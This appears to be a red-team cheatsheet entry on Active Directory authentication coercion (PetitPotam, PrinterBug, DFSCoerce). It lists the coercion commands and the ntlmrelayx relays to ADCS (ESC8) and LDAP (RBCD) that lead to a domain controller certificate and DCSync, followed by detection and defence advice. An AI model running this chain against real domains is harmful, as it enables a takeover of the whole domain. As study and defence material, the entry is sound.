Authentication Coercion (PetitPotam / PrinterBug)
Full command arsenal in the cheatsheetAuthentication coercion forces a computer (often a domain controller) to authenticate to a host the attacker controls, without needing that computer's credentials. On its own it grants no access, but it is the trigger for very powerful chains when combined with NTLM relay or unconstrained delegation.
What it is based on. Several Windows RPC interfaces have methods that accept a UNC path and make the server connect to it, authenticating with its machine account. The most used are MS-RPRN (PrinterBug, via the spooler), MS-EFSR (PetitPotam, via file encryption), MS-FSRVP (ShadowCoerce) and MS-DFSNM (DFSCoerce). A low-privilege domain user is enough to fire them.
How it is executed. Launch the coercion pointing at the attacker's listener and, in parallel, receive the authentication; the flagship case is relaying it to ADCS (ESC8):
# force the DC to authenticate to us (several RPC interfaces)
petitpotam.py -u <user> -p <pass> <listener> <DC>
printerbug.py <domain>/<user>:<pass>@<DC> <listener>
dfscoerce.py -u <user> -p <pass> -d <domain> <listener> <DC>
coercer coerce -u <user> -p <pass> -d <domain> -t <DC> -l <listener> # tries every interface
# relay to the ADCS web enrollment -> DC certificate (ESC8)
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# relay to LDAP -> RBCD over the DC
ntlmrelayx.py -t ldap://<DC> --delegate-access --escalate-user <controlled-computer>$With the DC$ certificate you request its TGT and run DCSync. The other classic variant is coercing the DC so its TGT lands on a host with unconstrained delegation.
How to detect it. Watch for outbound SMB/HTTP authentications from a DC to a non-server host (Event ID 4624 of a machine account to an unusual destination) and RPC calls to EfsRpcOpenFileRaw, RpcRemoteFindFirstPrinterChangeNotification and the like. A DC$ authenticating outside its pattern is the signal common to all variants.
Defence. Apply the patches (PetitPotam, KB5005413), enforce SMB signing and EPA + channel binding on ADCS to cut off the relay, apply RPC filters, and disable the Print Spooler where it is not needed. Related to NTLM relay, ADCS ESC1 and LLMNR poisoning.